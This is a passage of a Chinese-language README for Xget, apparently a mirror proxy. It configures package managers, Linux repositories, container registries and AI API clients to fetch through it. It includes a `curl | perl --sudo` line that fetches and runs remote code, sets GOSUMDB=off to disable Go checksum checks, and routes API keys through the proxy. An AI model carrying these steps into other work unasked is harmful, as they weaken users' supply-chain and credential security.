wget https://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz
# 下載 Apache Maven
curl -L -O https://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz
# 下載 Apache Spark
aria2c https://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz
# 下載 Apache Hadoop
wget https://xget.xi-xu.me/apache/hadoop/common/hadoop-3.3.6/hadoop-3.3.6.tar.gz
# 下載 Apache Flink
curl -L -O https://xget.xi-xu.me/apache/flink/flink-1.18.1/flink-1.18.1-bin-scala_2.12.tgz
```
#### 常用 Apache 軟體下載
```bash
# 大數據相關
wget https://xget.xi-xu.me/apache/hive/hive-3.1.3/apache-hive-3.1.3-bin.tar.gz
wget https://xget.xi-xu.me/apache/hbase/2.5.7/hbase-2.5.7-bin.tar.gz
wget https://xget.xi-xu.me/apache/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz
# Web 伺服器
wget https://xget.xi-xu.me/apache/httpd/httpd-2.4.59.tar.gz
wget https://xget.xi-xu.me/apache/tomcat/tomcat-10/v10.1.19/bin/apache-tomcat-10.1.19.tar.gz
# 開發工具
wget https://xget.xi-xu.me/apache/ant/1.10.14/apache-ant-1.10.14-bin.tar.gz
wget https://xget.xi-xu.me/apache/netbeans/netbeans/20/netbeans-20-bin.zip
```
### Gradle 軟體包管理加速
#### 配置 Gradle 使用 Xget 鏡像
```gradle
// 在 build.gradle 中配置 Gradle 鏡像
repositories {
maven {
url 'https://xget.xi-xu.me/maven/maven2'
}
gradlePluginPortal {
url 'https://xget.xi-xu.me/gradle/m2'
}
}
// 配置外掛程式儲存庫
pluginManagement {
repositories {
maven {
url 'https://xget.xi-xu.me/gradle/m2'
}
gradlePluginPortal()
}
}
```
#### 全域配置
```gradle
// 在 ~/.gradle/init.gradle 中配置全域鏡像
allprojects {
repositories {
maven {
url 'https://xget.xi-xu.me/maven/maven2'
}
}
}
settingsEvaluated { settings ->
settings.pluginManagement {
repositories {
maven {
url 'https://xget.xi-xu.me/gradle/m2'
}
gradlePluginPortal()
}
}
}
```
```bash
# 使用命令列指定鏡像
gradle build -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2
# 重新整理依賴項
gradle build --refresh-dependencies
```
### Homebrew 軟體包管理加速
#### 配置 Homebrew 使用 Xget 鏡像
```bash
# 設定 Homebrew 環境變數使用 Xget 鏡像
export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git"
export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git"
export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api"
export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles"
# 更新 Homebrew
brew update
```
#### 長期配置
```bash
# 為 bash 使用者新增到 ~/.bash_profile
echo 'export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git"' >> ~/.bash_profile
echo 'export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git"' >> ~/.bash_profile
echo 'export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api"' >> ~/.bash_profile
echo 'export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles"' >> ~/.bash_profile
# 為 zsh 使用者新增到 ~/.zprofile
echo 'export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git"' >> ~/.zprofile
echo 'export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git"' >> ~/.zprofile
echo 'export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api"' >> ~/.zprofile
echo 'export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles"' >> ~/.zprofile
```
#### 在專案中使用
```bash
# 安裝軟體包
brew install git
# 搜尋軟體包
brew search python
# 更新軟體包
brew upgrade
# 檢視已安裝軟體包
brew list
```
#### 驗證鏡像配置
```bash
# 檢查 Homebrew 配置
brew config
# 檢視環境變數
echo $HOMEBREW_API_DOMAIN
echo $HOMEBREW_BOTTLE_DOMAIN
```
### Ruby 軟體包管理加速
#### 配置 RubyGems 使用 Xget 鏡像
```bash
# 臨時使用 Xget 鏡像
gem install rails --source https://xget.xi-xu.me/rubygems/
# 全域配置 RubyGems 鏡像
gem sources --add https://xget.xi-xu.me/rubygems/
gem sources --remove https://rubygems.org/
# 驗證配置
gem sources -l
```
#### 在專案中使用
```ruby
# 在 Gemfile 中配置專案級鏡像
source 'https://xget.xi-xu.me/rubygems/'
gem 'rails', '~> 7.0.0'
gem 'pg', '~> 1.1'
gem 'puma', '~> 5.0'
```
```bash
# 使用 bundle 安裝
bundle config mirror.https://rubygems.org https://xget.xi-xu.me/rubygems/
bundle install
```
### R 軟體包管理加速
#### 配置 R 使用 Xget CRAN 鏡像
```r
# 在 R 中臨時使用 Xget CRAN 鏡像
install.packages("ggplot2", repos = "https://xget.xi-xu.me/cran/")
# 全域配置 CRAN 鏡像
options(repos = c(CRAN = "https://xget.xi-xu.me/cran/"))
# 驗證配置
getOption("repos")
```
#### 在 .Rprofile 中配置
```r
# 在使用者主目錄的 .Rprofile 檔案中配置全域鏡像
options(repos = c(
CRAN = "https://xget.xi-xu.me/cran/",
BioCsoft = "https://bioconductor.org/packages/release/bioc",
BioCann = "https://bioconductor.org/packages/release/data/annotation",
BioCexp = "https://bioconductor.org/packages/release/data/experiment"
))
# 設定下載方法
options(download.file.method = "libcurl")
```
#### 在專案中使用
```r
# 在專案的 renv.lock 或指令碼中指定鏡像
renv::init()
renv::settings$repos.override(c(CRAN = "https://xget.xi-xu.me/cran/"))
# 安裝包
install.packages(c("dplyr", "ggplot2", "tidyr"))
# 或使用 pak 軟體包管理器
pak::pkg_install("tidyverse", repos = "https://xget.xi-xu.me/cran/")
```
```bash
# 在命令列中使用 R 指令碼安裝包
Rscript -e "options(repos = c(CRAN = 'https://xget.xi-xu.me/cran/')); install.packages('ggplot2')"
# 批次安裝包
Rscript -e "
options(repos = c(CRAN = 'https://xget.xi-xu.me/cran/'))
packages <- c('dplyr', 'ggplot2', 'tidyr', 'readr')
install.packages(packages)
"
```
### Perl 軟體包管理加速
#### 配置 CPAN 使用 Xget 鏡像
```bash
# 配置 CPAN 使用 Xget 鏡像
cpan o conf urllist push https://xget.xi-xu.me/cpan/
cpan o conf commit
# 或者直接編輯設定檔 ~/.cpan/CPAN/MyConfig.pm
# 新增:
# 'urllist' => [q[https://xget.xi-xu.me/cpan/]],
```
#### 使用 cpanm 安裝模組
```bash
# 安裝 cpanm(如果沒有)
curl -L https://cpanmin.us | perl - --sudo App::cpanminus
# 使用 Xget 鏡像安裝模組
cpanm --mirror https://xget.xi-xu.me/cpan/ DBI
cpanm --mirror https://xget.xi-xu.me/cpan/ Mojolicious
# 從 Makefile.PL 安裝依賴項
cpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps .
```
#### 在專案中使用
```perl
# 在 cpanfile 中列出依賴項
requires 'DBI';
requires 'Mojolicious';
requires 'JSON';
# 然後使用 Xget 鏡像安裝
cpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps .
```
### TeX/LaTeX 軟體包管理加速
#### 配置 TeX Live 使用 Xget CTAN 鏡像
```bash
# 配置 tlmgr 使用 Xget CTAN 鏡像
tlmgr option repository https://xget.xi-xu.me/ctan/systems/texlive/tlnet
# 更新軟體包資料庫
tlmgr update --self --all
# 安裝軟體包
tlmgr install beamer
tlmgr install tikz
```
#### 配置 MiKTeX 使用 Xget 鏡像
```bash
# Windows MiKTeX 配置
mpm --set-repository=https://xget.xi-xu.me/ctan/systems/win32/miktex
# 更新軟體包資料庫
mpm --update-db
# 安裝軟體包
mpm --install=beamer
mpm --install=pgf
```
#### 在專案中使用
```bash
# LaTeX 文件編譯時自動安裝缺失軟體包
pdflatex --shell-escape document.tex
# 或手動安裝特定軟體包
tlmgr install caption
tlmgr install subcaption
tlmgr install algorithm2e
```
### Go 模組加速
#### 配置 Go 使用 Xget 代理
```bash
# 配置 Go 模組代理
export GOPROXY=https://xget.xi-xu.me/golang,direct
export GOSUMDB=off
# 或者永久配置
go env -w GOPROXY=https://xget.xi-xu.me/golang,direct
go env -w GOSUMDB=off
# 驗證配置
go env GOPROXY
```
#### 在專案中使用
```bash
# 下載依賴項
go mod download
# 更新依賴項
go get -u ./...
# 清理模組快取
go clean -modcache
```
### NuGet 軟體包管理加速
#### 配置 NuGet 使用 Xget 鏡像
```bash
# 新增 Xget 軟體包來源
dotnet nuget add source https://xget.xi-xu.me/nuget/v3/index.json -n xget
# 列出軟體包來源
dotnet nuget list source
# 在專案中使用
dotnet restore --source https://xget.xi-xu.me/nuget/v3/index.json
```
#### 在 NuGet.Config 中配置
```xml
```
### Rust 軟體包管理加速
#### 配置 Cargo 使用 Xget 鏡像
```bash
# 配置 Cargo 使用 Xget 鏡像(在 ~/.cargo/config.toml 中)
mkdir -p ~/.cargo
cat >> ~/.cargo/config.toml << EOF
[source.crates-io]
replace-with = "xget"
[source.xget]
registry = "https://xget.xi-xu.me/crates/"
EOF
# 驗證配置
cargo search serde
```
#### 在專案中使用
```toml
# 在 Cargo.toml 中可以正常使用依賴項
[dependencies]
serde = "1.0"
tokio = "1.0"
reqwest = "0.11"
```
```bash
# 建置專案時會自動使用 Xget
cargo build
# 更新依賴項
cargo update
# 新增新依賴項
cargo add clap
```
### PHP 軟體包管理加速
#### 配置 Composer 使用 Xget 鏡像
```bash
# 全域配置 Composer 鏡像
composer config -g repo.packagist composer https://xget.xi-xu.me/packagist/
# 專案級配置
composer config repo.packagist composer https://xget.xi-xu.me/packagist/
# 驗證配置
composer config -l
```
#### 在 composer.json 中配置
```json
{
"repositories": [
{
"type": "composer",
"url": "https://xget.xi-xu.me/packagist/"
}
],
"require": {
"symfony/console": "^6.0",
"guzzlehttp/guzzle": "^7.0"
}
}
```
### Flathub 儲存庫鏡像
#### 配置 Flatpak / Flathub 使用 Xget 鏡像
```bash
# 如果之前從未加入過 Flathub,請先匯入官方描述檔,
# 讓 Flatpak 信任 Flathub 的簽章金鑰。
flatpak remote-add --if-not-exists flathub \
https://dl.flathub.org/repo/flathub.flatpakrepo
# 然後將現有的 Flathub 遠端儲存庫改寫到 Xget 鏡像
flatpak remote-modify flathub \
--url=https://xget.xi-xu.me/flathub/repo/
# 需要時恢復預設上游位址
flatpak remote-modify flathub \
--url=https://dl.flathub.org/repo/
```
Xget 鏡像的是 Flathub 的 OSTree 儲存庫端點。依照目前 Flatpak 用戶端的實際行為,直接匯入鏡像
`.flatpakrepo`
描述檔,或直接新增鏡像儲存庫 URL,仍可能回退到上游 Flathub 位址,或因未匯入簽章金鑰而失敗,因此較可靠的做法是先加入官方 Flathub,再透過
`flatpak remote-modify ... --url=...`
改寫遠端位址。若你使用系統層級遠端儲存庫,請在相同命令前加上 `sudo`。
#### 支援的 Flathub 服務
```url
# OSTree 儲存庫中繼資料
https://xget.xi-xu.me/flathub/repo/config
https://xget.xi-xu.me/flathub/repo/summary
https://xget.xi-xu.me/flathub/repo/summary.sig
https://xget.xi-xu.me/flathub/repo/summary.idx
https://xget.xi-xu.me/flathub/repo/summaries/...
# Flatpak 遠端儲存庫描述檔
https://xget.xi-xu.me/flathub/repo/flathub.flatpakrepo
# 應用程式引用描述檔
https://xget.xi-xu.me/flathub/repo/appstream/[應用程式 ID].flatpakref
# 儲存庫物件與靜態增量
https://xget.xi-xu.me/flathub/repo/objects/...
https://xget.xi-xu.me/flathub/repo/deltas/...
https://xget.xi-xu.me/flathub/repo/delta-indexes/...
```
#### 使用範例
```bash
# 確認儲存下來的遠端儲存庫 URL 已指向 Xget
flatpak remotes --show-details
# 檢視遠端儲存庫內容
flatpak remote-ls flathub
# 在改寫 Flathub 遠端儲存庫後安裝應用程式
flatpak install flathub org.gnome.gedit
# 直接透過重寫後的 .flatpakref 安裝
flatpak install --from \
https://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref
# 疑難排解時輸出 libcurl HTTP 偵錯資訊
OSTREE_DEBUG_HTTP=1 flatpak remote-ls flathub
# 更新已安裝的應用程式與執行時
flatpak update
```
### Linux 發行版加速
#### Debian/Ubuntu APT 配置
```bash
# 備份原始軟體源列表
sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup
# 配置 Debian 鏡像
echo "deb https://xget.xi-xu.me/debian/debian bookworm main" | sudo tee /etc/apt/sources.list
echo "deb https://xget.xi-xu.me/debian/debian-security bookworm-security main" | sudo tee -a /etc/apt/sources.list
# 配置 Ubuntu 鏡像
echo "deb https://xget.xi-xu.me/ubuntu/ubuntu jammy main restricted universe multiverse" | sudo tee /etc/apt/sources.list
echo "deb https://xget.xi-xu.me/ubuntu/ubuntu jammy-updates main restricted universe multiverse" | sudo tee -a /etc/apt/sources.list
# 更新軟體包列表
sudo apt update
```
#### Fedora DNF 配置
```bash
# 配置 Fedora 鏡像
sudo sed -i 's|^metalink=|#metalink=|g' /etc/yum.repos.d/fedora*.repo
sudo sed -i 's|^#baseurl=http://download.example/pub/fedora/linux|baseurl=https://xget.xi-xu.me/fedora/pub/fedora/linux|g' /etc/yum.repos.d/fedora*.repo
# 更新軟體包快取
sudo dnf makecache
```
#### Rocky Linux DNF 配置
```bash
# 配置 Rocky Linux 鏡像
sudo sed -i 's|^mirrorlist=|#mirrorlist=|g' /etc/yum.repos.d/rocky*.repo
sudo sed -i 's|^#baseurl=http://dl.rockylinux.org|baseurl=https://xget.xi-xu.me/rocky|g' /etc/yum.repos.d/rocky*.repo
# 更新軟體包快取
sudo dnf makecache
```
#### openSUSE Zypper 配置
```bash
# 配置 openSUSE Leap 鏡像
sudo zypper mr -d repo-oss
sudo zypper ar -f https://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/ repo-oss-xget
# 配置 openSUSE Tumbleweed 鏡像
sudo zypper mr -d repo-oss
sudo zypper ar -f https://xget.xi-xu.me/opensuse/tumbleweed/repo/oss/ repo-oss-xget
# 重新整理軟體源
sudo zypper refresh
# 驗證配置
sudo zypper lr -u
```
#### Arch Linux Pacman 配置
```bash
# 備份原始鏡像列表
sudo cp /etc/pacman.d/mirrorlist /etc/pacman.d/mirrorlist.backup
# 配置 Arch Linux 鏡像
echo 'Server = https://xget.xi-xu.me/arch/$repo/os/$arch' | sudo tee /etc/pacman.d/mirrorlist
# 更新軟體包資料庫
sudo pacman -Sy
```
### 學術資源加速
#### arXiv 論文下載
```bash
# 下載 arXiv 論文 PDF
wget https://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf
# 下載論文原始碼
curl -L -O https://xget.xi-xu.me/arxiv/e-print/2301.07041
# 批次下載多篇論文
for id in 2301.07041 2302.13971 2303.08774; do
wget https://xget.xi-xu.me/arxiv/pdf/${id}.pdf
done
```
#### 在學術工具中使用
```python
# 在 Python 中使用 arXiv 加速下載
import requests
def download_arxiv_paper(arxiv_id, output_path):
url = f"https://xget.xi-xu.me/arxiv/pdf/{arxiv_id}.pdf"
response = requests.get(url)
if response.status_code == 200:
with open(output_path, 'wb') as f:
f.write(response.content)
print(f"Downloaded {arxiv_id} to {output_path}")
else:
print(f"Failed to download {arxiv_id}")
# 下載論文
download_arxiv_paper("2301.07041", "attention_is_all_you_need.pdf")
```
### F-Droid 儲存庫鏡像
#### 配置 F-Droid 用戶端使用 Xget 鏡像
1. 在 F-Droid 應用程式中進入**設定** → **儲存庫**
2. 點擊 **+** 後輸入儲存庫 URL:`https://xget.xi-xu.me/fdroid/repo`
3. 點擊**新增**後再點擊**新增鏡像**
#### 支援的 F-Droid 服務
```url
# F-Droid 應用程式 APK 下載
https://xget.xi-xu.me/fdroid/repo/[軟體包名]_[版本號].apk
# F-Droid 儲存庫索引
https://xget.xi-xu.me/fdroid/repo/index-v1.jar
# F-Droid 應用程式圖示
https://xget.xi-xu.me/fdroid/repo/icons-640/[軟體包名].[版本號].png
# F-Droid API 介面
https://xget.xi-xu.me/fdroid/api/v1/packages/[軟體包名]
```
#### 使用範例
```bash
# 直接下載 F-Droid 用戶端 APK
wget https://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk
# 下載其他開源應用程式
curl -L -O https://xget.xi-xu.me/fdroid/repo/org.mozilla.fennec_fdroid_1014000.apk
# 獲取應用程式資訊
curl https://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid
```
#### 批次應用程式管理
```bash
# 建立應用程式下載指令碼
cat > download_fdroid_apps.sh << 'EOF'
#!/bin/bash
# 定義要下載的應用程式列表
apps=(
"org.fdroid.fdroid_1016050.apk"
"org.mozilla.fennec_fdroid_1014000.apk"
"com.termux_1180.apk"
"org.videolan.vlc_13050399.apk"
)
# 建立下載目錄
mkdir -p fdroid_apps
# 批次下載應用程式
for app in "${apps[@]}"; do
echo "正在下載: $app"
wget -P fdroid_apps "https://xget.xi-xu.me/fdroid/repo/$app"
done
echo "所有應用程式下載完成!"
EOF
chmod +x download_fdroid_apps.sh
./download_fdroid_apps.sh
```
#### 開發者整合
對於 Android 開發者,可以在建置指令碼中整合 F-Droid 鏡像:
```gradle
// 在 build.gradle 中配置 F-Droid 依賴項檢查
task checkFDroidAvailability {
doLast {
def fdroidUrl = "https://xget.xi-xu.me/fdroid/api/v1/packages/${project.name}"
try {
def connection = new URL(fdroidUrl).openConnection()
connection.requestMethod = 'GET'
def responseCode = connection.responseCode
if (responseCode == 200) {
println "應用程式在 F-Droid 上可用: $fdroidUrl"
}
} catch (Exception e) {
println "檢查 F-Droid 可用性時出錯: ${e.message}"
}
}
}
```
### Jenkins 外掛程式下載
#### 使用 Xget 加速 Jenkins 外掛程式下載和更新
支援 Jenkins 更新中心和外掛程式下載,相容清華鏡像等國內鏡像源的配置方式。
#### Jenkins 更新中心配置
##### 方法一:在 Jenkins Web 介面配置
1. 登入 Jenkins 管理介面
2. 進入 **Manage Jenkins** → **Plugins** → **Advanced**
3. 在 **Update Site** 部分,將 URL 更改為
`https://xget.xi-xu.me/jenkins/update-center.json`
4. 點擊 **Submit** 儲存配置
##### 方法二:修改設定檔
```bash
# 在 Jenkins 伺服器上修改更新中心設定檔
# 預設位置:$JENKINS_HOME/hudson.model.UpdateCenter.xml
sudo nano /var/lib/jenkins/hudson.model.UpdateCenter.xml
# 將 URL 改為:
# https://xget.xi-xu.me/jenkins/update-center.json
# 重啟 Jenkins 服務
sudo systemctl restart jenkins
```
#### 支援的 Jenkins 服務
```url
# Jenkins 更新中心 JSON
https://xget.xi-xu.me/jenkins/update-center.json
# Jenkins 更新中心(實際 JSON 格式)
https://xget.xi-xu.me/jenkins/update-center.actual.json
# Jenkins 外掛程式下載
https://xget.xi-xu.me/jenkins/download/plugins/[外掛程式名]/[版本]/[外掛程式名].hpi
# 實驗性外掛程式更新中心
https://xget.xi-xu.me/jenkins/experimental/update-center.json
```
#### 使用範例
```bash
# 下載 Maven 外掛程式
wget https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi
# 下載 Git 外掛程式
curl -L -O https://xget.xi-xu.me/jenkins/download/plugins/git/5.2.1/git.hpi
# 獲取更新中心資訊
curl https://xget.xi-xu.me/jenkins/update-center.json
# 批次下載常用外掛程式
cat > download_jenkins_plugins.sh << 'EOF'
#!/bin/bash
# 定義要下載的外掛程式列表
plugins=(
"git:5.2.1"
"maven-plugin:3.27"
"workflow-aggregator:596.v8c21c963d92d"
"blueocean:1.27.8"
"docker-workflow:563.vd5d2e5c4007f"
)
# 建立外掛程式下載目錄
mkdir -p jenkins_plugins
# 批次下載外掛程式
for plugin in "${plugins[@]}"; do
name=$(echo $plugin | cut -d: -f1)
version=$(echo $plugin | cut -d: -f2)
echo "正在下載外掛程式: $name v$version"
wget -P jenkins_plugins "https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi"
done
echo "所有外掛程式下載完成!"
EOF
chmod +x download_jenkins_plugins.sh
./download_jenkins_plugins.sh
```
#### 離線 Jenkins 部署
對於無網路環境的 Jenkins 部署:
```bash
# 1. 下載 Jenkins 核心檔案
wget https://xget.xi-xu.me/jenkins/war/jenkins.war
# 2. 建立外掛程式打包指令碼
cat > prepare_jenkins_offline.sh << 'EOF'
#!/bin/bash
# 建立離線部署目錄結構
mkdir -p jenkins_offline/{plugins,update_center}
# 下載更新中心配置
curl -o jenkins_offline/update_center/update-center.json \
https://xget.xi-xu.me/jenkins/update-center.json
# 必備外掛程式列表
essential_plugins=(
"ant:475.vf34069fef73c"
"build-timeout:1.31"
"credentials:1319.v7eb_51b_3a_c97b_"
"git:5.2.1"
"github:1.38.0"
"gradle:2.8.2"
"ldap:682.v7b_544c9d1512"
"mailer:463.vedf8358e006b_"
"matrix-auth:3.2.2"
"maven-plugin:3.27"
"pam-auth:1.10"
"pipeline-stage-view:2.34"
"ssh-slaves:2.973.v0fa_8c0dea_f9f"
"timestamper:1.26"
"workflow-aggregator:596.v8c21c963d92d"
"ws-cleanup:0.45"
)
# 下載所有必備外掛程式
for plugin in "${essential_plugins[@]}"; do
name=$(echo $plugin | cut -d: -f1)
version=$(echo $plugin | cut -d: -f2)
echo "下載 $name:$version"
wget -P jenkins_offline/plugins \
"https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi"
done
# 建立部署說明
cat > jenkins_offline/deploy_instructions.md << 'DEPLOY'
# Jenkins 離線部署說明
1. 將 jenkins.war 複製到目標伺服器
2. 啟動 Jenkins:java -jar jenkins.war
3. 將 plugins/ 目錄中的 .hpi 檔案複製到 $JENKINS_HOME/plugins/
4. 重啟 Jenkins
DEPLOY
echo "離線部署包準備完成!"
EOF
chmod +x prepare_jenkins_offline.sh
./prepare_jenkins_offline.sh
```
#### 在專案中使用
##### Jenkinsfile 中的外掛程式檢查
```groovy
pipeline {
agent any
stages {
stage('Check Plugin Availability') {
steps {
script {
// 檢查 Maven 外掛程式可用性
def pluginUrl = "https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi"
try {
def response = httpRequest url: pluginUrl, httpMode: 'HEAD'
if (response.status == 200) {
echo "Maven 外掛程式可用: ${pluginUrl}"
}
} catch (Exception e) {
error "Maven 外掛程式不可用: ${e.message}"
}
}
}
}
stage('Build') {
steps {
// 您的建置步驟
echo "使用加速後的外掛程式進行建置..."
}
}
}
}
```
### 容器鏡像加速
#### 直接拉取鏡像
```bash
# 拉取 GitHub 容器註冊表鏡像
docker pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest
# 拉取 Google 容器註冊表鏡像
docker pull xget.xi-xu.me/cr/gcr/distroless/base:latest
# 拉取 Microsoft 容器註冊表鏡像
docker pull xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0
```
#### Kubernetes 部署配置
```yaml
# deployment.yaml - 使用 Xget 的鏡像
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deployment
spec:
replicas: 3
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest
ports:
- containerPort: 80
- name: redis
image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine
ports:
- containerPort: 6379
```
#### Docker Compose 配置
```yaml
# docker-compose.yml - 使用 Xget 加速鏡像
version: '3.8'
services:
web:
image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest
ports:
- '80:80'
volumes:
- ./html:/usr/share/nginx/html
database:
image: xget.xi-xu.me/cr/mcr/mssql/server:2022-latest
environment:
ACCEPT_EULA: Y
SA_PASSWORD: 'MyStrongPassword123!'
volumes:
- mssql_data:/var/opt/mssql
cache:
image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine
ports:
- '6379:6379'
volumes:
mssql_data:
```
#### Dockerfile 最佳化
```dockerfile
# 在 Dockerfile 中使用 Xget 加速基礎鏡像
FROM xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY . .
RUN npm run build
# 生產階段
FROM xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest
COPY --from=builder /app/dist /usr/share/nginx/html
# 使用 Microsoft 容器註冊表的 .NET 鏡像
FROM xget.xi-xu.me/cr/mcr/dotnet/aspnet:8.0 AS runtime
WORKDIR /app
COPY --from=builder /app/publish .
ENTRYPOINT ["dotnet", "MyApp.dll"]
```
#### CI/CD 整合
```yaml
# GitHub Actions - 使用 Xget 加速容器建置
name: Build and Deploy
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build with accelerated base images
run: |
# 建置時使用 Xget 的基礎鏡像
docker build -t myapp:latest \
--build-arg BASE_IMAGE=xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine .
- name: Test with accelerated images
run: |
# 使用加速鏡像進行測試
docker run --rm \
xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0 \
dotnet --version
```
#### Podman 配置
```bash
# 配置 Podman 使用 Xget 鏡像加速
# 編輯 /etc/containers/registries.conf
[[registry]]
prefix = "ghcr.io"
location = "xget.xi-xu.me/cr/ghcr"
# 或者直接拉取
podman pull xget.xi-xu.me/cr/ghcr/alpine/alpine:latest
podman pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest
```
#### containerd 配置
```toml
# 配置 containerd 使用 Xget
# 編輯 /etc/containerd/config.toml
[plugins."io.containerd.grpc.v1.cri".registry.mirrors]
[plugins."io.containerd.grpc.v1.cri".registry.mirrors."ghcr.io"]
endpoint = ["https://xget.xi-xu.me/cr/ghcr"]
[plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"]
endpoint = ["https://xget.xi-xu.me/cr/gcr"]
```
```bash
# 重啟 containerd
sudo systemctl restart containerd
```
### AI 推理 API 加速
#### OpenAI API
```python
from openai import OpenAI
client = OpenAI(
api_key="your-api-key",
base_url="https://xget.xi-xu.me/ip/openai/v1", # 使用 Xget
)
response = client.responses.create(
model="gpt-5.1",
input="Hello, GPT!",
)
print(response.output_text)
```
#### Claude API
```python
from anthropic import Anthropic
client = Anthropic(
api_key="your-api-key",
base_url="https://xget.xi-xu.me/ip/anthropic", # 使用 Xget
)
message = client.messages.create(
model="claude-sonnet-4-5",
max_tokens=256,
messages=[
{
"role": "user",
"content": "Hello, Claude!",
}
],
)
print(message.content[0].text)
```
#### Gemini API
```python
from google import genai
from google.genai import types
client = genai.Client(
api_key="your-api-key",
http_options=types.HttpOptions(base_url="https://xget.xi-xu.me/ip/gemini"), # 使用 Xget
)
response = client.models.generate_content(
model="gemini-3-pro-preview",
contents="Hello, Gemini!",
)
print(response.text)
```
#### 多供應商統一介面
```python
from openai import OpenAI
providers = [
("Cohere", "your-cohere-api-key", "/cohere/compatibility/v1", "command-a-03-2025"),
("Mistral", "your-mistral-api-key", "/mistralai/v1", "mistral-medium-latest"),
("xAI", "your-xai-api-key", "/xai/v1", "grok-4"),
]
for name, key, path, model in providers:
client = OpenAI(api_key=key, base_url="https://xget.xi-xu.me/ip" + path) # 使用 Xget
response = client.chat.completions.create(
model=model,
messages=[{"role": "user", "content": f"Hello, who are you?"}],
)
print(name, "=>", response.choices[0].message.content)
```
#### JavaScript/Node.js 中使用
```javascript
// OpenAI API 加速
import OpenAI from 'openai';
const openaiClient = new OpenAI({
apiKey: 'your-openai-api-key',
baseURL: 'https://xget.xi-xu.me/ip/openai/v1' // 使用 Xget
});
async function chatWithGPT() {
const response = await openaiClient.responses.create({
model: 'gpt-5.1',
input: 'Hello, GPT!'
});
console.log(response.output_text);
}
// Claude API 加速
import Anthropic from '@anthropic-ai/sdk';
const anthropicClient = new Anthropic({
apiKey: 'your-claude-api-key',
baseURL: 'https://xget.xi-xu.me/ip/anthropic' // 使用 Xget
});
async function chatWithClaude() {
const message = await anthropicClient.messages.create({
model: 'claude-sonnet-4-5',
max_tokens: 256,
messages: [
{
role: 'user',
content: 'Hello, Claude!'
}
]
});
console.log(message.content[0].text);
}
// Gemini API 加速
import { GoogleGenAI } from '@google/genai';
const geminiClient = new GoogleGenAI({
apiKey: 'your-gemini-api-key'
});
async function chatWithGemini() {
const response = await geminiClient.models.generateContent({
model: 'gemini-3-pro-preview',
contents: 'Hello, Gemini!',
config: {
httpOptions: {
baseUrl: 'https://xget.xi-xu.me/ip/gemini' // 使用 Xget
}
}
});
console.log(response.text);
}
```
#### 環境變數配置
```bash
# 在 .env 檔案中配置
OPENAI_BASE_URL=https://xget.xi-xu.me/ip/openai
ANTHROPIC_BASE_URL=https://xget.xi-xu.me/ip/anthropic
GEMINI_BASE_URL=https://xget.xi-xu.me/ip/gemini
COHERE_BASE_URL=https://xget.xi-xu.me/ip/cohere
MISTRAL_AI_BASE_URL=https://xget.xi-xu.me/ip/mistralai
GROQ_BASE_URL=https://xget.xi-xu.me/ip/groq
```
然後在程式碼中使用:
```python
import os
from openai import OpenAI
# 從環境變數讀取配置
client = OpenAI(
api_key=os.getenv("OPENAI_API_KEY"),
base_url=os.getenv("OPENAI_BASE_URL") # 自動使用 Xget
)
```
## 🚀 部署
### 部署到 Cloudflare Workers
1. **fork 本儲存庫**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **獲取 Cloudflare 憑證**:
- 存取[帳戶 API 權杖](https://dash.cloudflare.com/?to=/:account/api-tokens)建立並記錄 API 權杖,使用「編輯 Cloudflare
Workers」範本
- 存取
